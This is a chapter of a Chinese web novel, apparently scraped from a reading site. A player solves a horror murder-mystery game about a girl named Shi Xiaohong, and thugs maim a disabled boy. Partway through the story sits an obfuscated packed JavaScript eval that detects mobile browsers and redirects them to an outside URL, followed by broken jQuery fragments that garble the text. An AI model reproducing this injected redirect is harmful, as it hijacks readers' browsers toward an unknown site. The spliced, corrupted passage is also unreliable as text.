10. 是谁杀了施小红(九)

“不是我,屁胆子~”


蓁祈将书包小心放在地上,拉开拉链,那仅剩半本的空白笔记本跳出来掉在地上,第一页纸没有人碰,却传来沙沙的声音写出一行字来,是施小红的笔迹。


“今天来了一个我好讨厌的苹果,她长的也像苹果,我不知道为什么会有人愿意将头发留成那个样子,圆圆的,火红火红的,好丑,盖在头上像羊腰子。她说了好多跟我完全无关的话,她拿编排我当牟利的工具,不过听说她还会在这里待半个月跟踪直播,没关系的,那就为了回报她给了我爸爸妈妈那么多钱,送她一个苹果吧!聋老头说他可以弄到含毒的苹果,明天去找他要一要,他总是那么厉害,一点儿也不像个流浪汉......”


“有毒的苹果......”蓁祈弹出面板将这一事项记入自己日程安排。


门外脚步声由远及近,蓁祈听到一个很陌生的声音从大门传来:“我今天来是想告诉你,我的老婆怀孕了,所以那个小孩儿我就不要了,那两只鸡你们就留着吧,我也不要回去,到时候我孩子满月来吃喜糖啊。”


门外的声音水煮一般粘腻不清,蓁祈瞪大眼睛,铜铃似的盯着那本日记漂浮在空中,狠厉扇了那文件夹三个响亮的耳光。


文件夹悠悠飘到地上,很是颓靡,红色的蜡笔张狂摩擦在新的一页,血似的字迹笔顺全错,铺满整整一页白纸。


耳边传来“桀桀”的笑声,如催命的恶鬼,蜡笔字融化流淌在地面,汇聚成游戏进度横条。


“恭喜玩家解锁第二条杀人动机,剧本完成度百分之三十四,傻......”


蓁祈眼神如刀。


“......啥都可以解决的玩家,再接再厉!”


第二条杀人动机,施光与许芳的三份巨额收益。


光点笔批注完成,蓁祈收回面板,疑惑有了合理的具体解答。


“原来是这样,王麻子家里本来就有一个妻子,只不过她不能怀孕,所以王麻子的两只鸡换的不是施小红,而是施小红的孩子,等到施小红生产完毕,没有了利用价值,施光和许芳便可以让施小红的生产变成一次意外。孕妇因为生产死于手术台的几率是很大的,之后他们便可以按照安排,拥有三笔收益。只不过这份计划被女人的意外怀孕打破,而施晓春高利贷的事情很快便会瞒不住,虽然她不知道保单的事,但施家父母需要这样一笔钱填补空缺,将施晓春成功送到冷少的身边。


嫌疑很大啊,施小红亲爱的便宜爹妈~”


蓁祈缓缓靠在墙上,想起了路灯告诉她的话:“姐姐,今天有有好多人打我。”


“谁打你啊?”蓁祈关心地问道。


“一些很凶,很凶的人光头,还有黑色狗,狗趴在身上我,从来都,没有见过。”


高利贷的人已经找上门,很快便会发现施小红,想必施光很快便会收到短信威胁。


蓁祈嘴角微微弯起一个好看的弧度,事情真是不用她劳心劳力,就变得越来越有趣了。


她弯下腰,想将本子捡起来重新放回包中,却发现无论如何也将其拔不起来,苍白的杯子被血红色的沼泽拉扯吞没,静静贴在墙上的红色触手好似活了一般,挥舞着柔软的线条,朝着蓁祈的方向飞扑而来。


蓁祈忙将书包背在背上,侧过身去,堪堪躲过一条朝脸闪来的触手,那条粗壮的触手宛若锋利的刀刃,饶是蓁祈的反应速度已经足够快,还是将她发尾的头发削掉一小截儿。


等到触手触碰到地面的时候,却化作了一滩血水,柔软地渗入地面当中,消失不见。


而在她的右后方,却悄无声息地形成一条新的触手,排队在已经发出攻击的触手身后。


“这是什么?!”


蓁祈上下跳跃着,不停从一个触手的身上转移到另一根触手的头部,用自己的重量加跳跃产生的冲力进行攻击,却像一拳打在了棉花上似的,毫无攻击力。


这触手就像反牛顿流体一般,你硬,它就软地化成一滩血水,让你无处追踪。


可你要是软下来,它就会化作钢刃,对你进行无死角的攻击。


百解顶着一顶线条博士帽科普道:“这是施小红的怨念,也叫躯壳的怨毒,是一种非物质毒素,在施小红重生前的遭遇被发现时,很有可能觉醒相应的怨念,从而无差别攻击范围内的人。”


蓁祈躲了半小时,早已精疲力尽,气喘吁吁,可那触手却好似无知无觉,仍有使不完的牛劲儿。


再又一次被触手割破皮肤时,蓁祈跳到房间靠窗的角落处,离触手的中心保持着一段安全距离,随后一伸手,从仓库中掏出一碗香菜味的泡面。


它的作用是让食用之人可以排毒、加快代谢,蓁祈死马当活马医,反正都是毒,代谢不了全部也能代谢一点儿吧。


她提气轻身,有一个跃跳踩到了为首触手的顶上,随后右手轻覆,将一盆泡面都浇在了触手的头顶。


“哗哗”的水流声响过,触手都跟施肥过度了一般,变得无精打采,连体积都缩小了一半儿。


蓁祈有些小骄傲,她从触手的顶上下来,得意地拍了拍手,朝百解抛了一个耍帅的眼神。


可不等她将全部的动作施展完毕,眼前白色的墙上突然出现一道恐怖的影子,借着便是两道、三道.......


直到蓁祈蒙蒙地转过头去,看到的是如同巨树一般的触手丛林。


她大惊失色,嘴都张成一个圆润的o形。


此时,百解幸灾乐祸的声音才凉凉地从一旁传出:“你不知道吧,香菜还有一个大作用呢?”


“什么?”蓁祈呆呆地说道,仿佛已经对活着失去了欲望,只能做出遵从人设的机械反应。


“增进食欲,帮助消化哦!”


“......”


大意了!


蓁祈反手又是一个泡面,已经预备好了姿势,准备这一次将触手杀一个彻彻底底。


她蓄势待发,汗水已经自头顶密集地流下,滴落在眼睫上,将预备的弓箭蓄势在弓弦之上,将须臾间的光景,拉到无限长。


触手已经准备好了一切,几条触手抱团纠缠在一起,以主攻手的姿势朝蓁祈发出挑衅。


而蓁祈也并未轻敌,她弯腰蹲身,小腿上的肌肉都绷紧凸出,凸起明显的青筋。


触手先行一步动作。


蓁祈紧随其后,以投篮的姿势将泡面灌进触手的身躯内部。


电光火石间,鹿死谁手尚未可知!


两位选手都已一百二十分的精神应对这场比赛!


只听得“哐当”一声......


门开了!


触手玩儿似的消失不见。


本该是触手盘踞的地方变成了放在墙角的凳子,蓁祈水灵灵地自高空落下,在没有预计触手做踏脚的地方,狠狠被凳腿办了个趔趄。


泡面自头顶落下,以三分的好成绩正中蓁祈的后脑勺。


汤汁沿着头发纹路蜿蜒而下,紧贴着蓁祈的皮肤流淌,最后渗透进她呲牙咧嘴时,张开的口腔当中。


“砰砰砰!”


说时迟那时快,泡面刹那间起效,蓁祈的脸上自腮帮处,肿起两个馒头大的包。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15086887|163583||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


是了,这是鲜虾鱼板味的泡面,功效嘛——想必已经很明显了,就是令中招者过敏。


施晓春愣愣地看了一眼整洁的屋子,以及狼藉的施小红,沉默了片刻,就留下一句话:“出来吃饭。”


然后捂住嘴,偷笑着跑掉了,可蓁祈真的很怀疑她真的是偷偷笑得吗?


明明都走远了,她还是觉得施晓春的笑就在自己的耳边。


当然,笑发财的不止她一个。


只不过百解是用表情包来回闪烁的方式笑。


蓁祈凶神恶煞地看着他,猛猛灌下一口香菜泡面,喝酒似的,仿佛在将香菜扒皮抽筋。


“烧烧烧,烧类未啊烧,我黑吼无哈窝宫给哇,为哈红哇了?”(笑笑笑,笑你妹啊笑,不是说无差别攻击吗,为什么跑了!)


百解已经笑到没有功夫说话,只能在蓁祈用馒头脸投刀子的目光中,稍微地让自己笑得没那么明显一点,毕竟蓁祈现在递过来的眼刀,已经跟面条似的,毫无威慑力了!


可这中不痛不痒的关心对于蓁祈而言,是赤裸裸的嘲讽,她冷哼一声,晚上把面板调出来扔出去,让百解看了一晚上的月亮,第二天表情包都带了厚重的黑眼圈~~~


秋日的风冰凉凉的,夹杂水汽,被余夏尾巴捎带的热气蒸过一笼,冰凉又粘腻。


春捂秋冻,冻得不知道是不是这般道理,聋老汉只觉这风吹了怕凉,不吹嫌热。


路灯拖着大鼻涕装做小飞机绕圈跑着,嘴里哼哼呀呀,粗短的小指头比划着并不流畅的手语,就这么一点动作,聋老汉教了他六七年。


小傻子不聪明,但很努力,现在已经基本用手和聋老汉无障碍聊天了,只是聊的慢一点儿而已。


不过没关系,春去秋来,还有一年又一年的时间,聋老汉总觉得让路灯多学一点本事,以后的路总是好走一点的。


路灯跑啊跑,一颗小纽扣轱辘轱辘转动着掉在地上,那是聋老汉捡到的最好看的扣子,小红姐姐给他缝的,可宝贵了,不可以弄丢。


路灯蹲下来伸出手想要握住那枚扣子。


一双灰色的帆布鞋映入眼帘,扣子不见了。


路灯抬起头,傻乎乎地请求着:“请把扣,子给我。”


来人是个戴墨镜、背黑狗的光头:“你说什么呢小弟弟,什么扣子?”


路灯一板一眼,笨拙地回复:“黄色的,扣扣,小红姐姐缝,的我喜,欢的那,个黄......啊啊啊啊啊啊!”


小扣子骨碌碌掉进下水道口,小傻子流着血躺在青石板路。


“晦气!敢跟踪老子!”光头轻蔑地将烟头捻灭在路灯的衣服领口,就像是在对待一条没有主人的狗。


身后人连连附和:“就是,也不看他什么道行,一个傻子而已,真把自己当英雄了。”


“那照片上的女的在哪儿查出来了吗?”


“查出来了,就是傻子嘴里的施小红,在小镇一中。”


“妈的,原来是这死女人让跟着的,走!”


身旁高树一样矗立坏蛋全部走掉了,可路灯抽抽鼻子,起不来,他茫然地盯着一贫如洗的天空,哼哼着很小的时候,妈妈哼给他的摇篮曲。


“一个胖娃娃、两颗小星星......”


路灯不知道发生了什么,只知道哼歌就会暖呼呼的,腿就不会痛了。


路灯不知道自己没有左腿了。


路灯不知道流血太多就要死掉了。


路灯只知道今天小红姐姐会来。


“有热糍粑吃了......”路灯满足地微笑起来。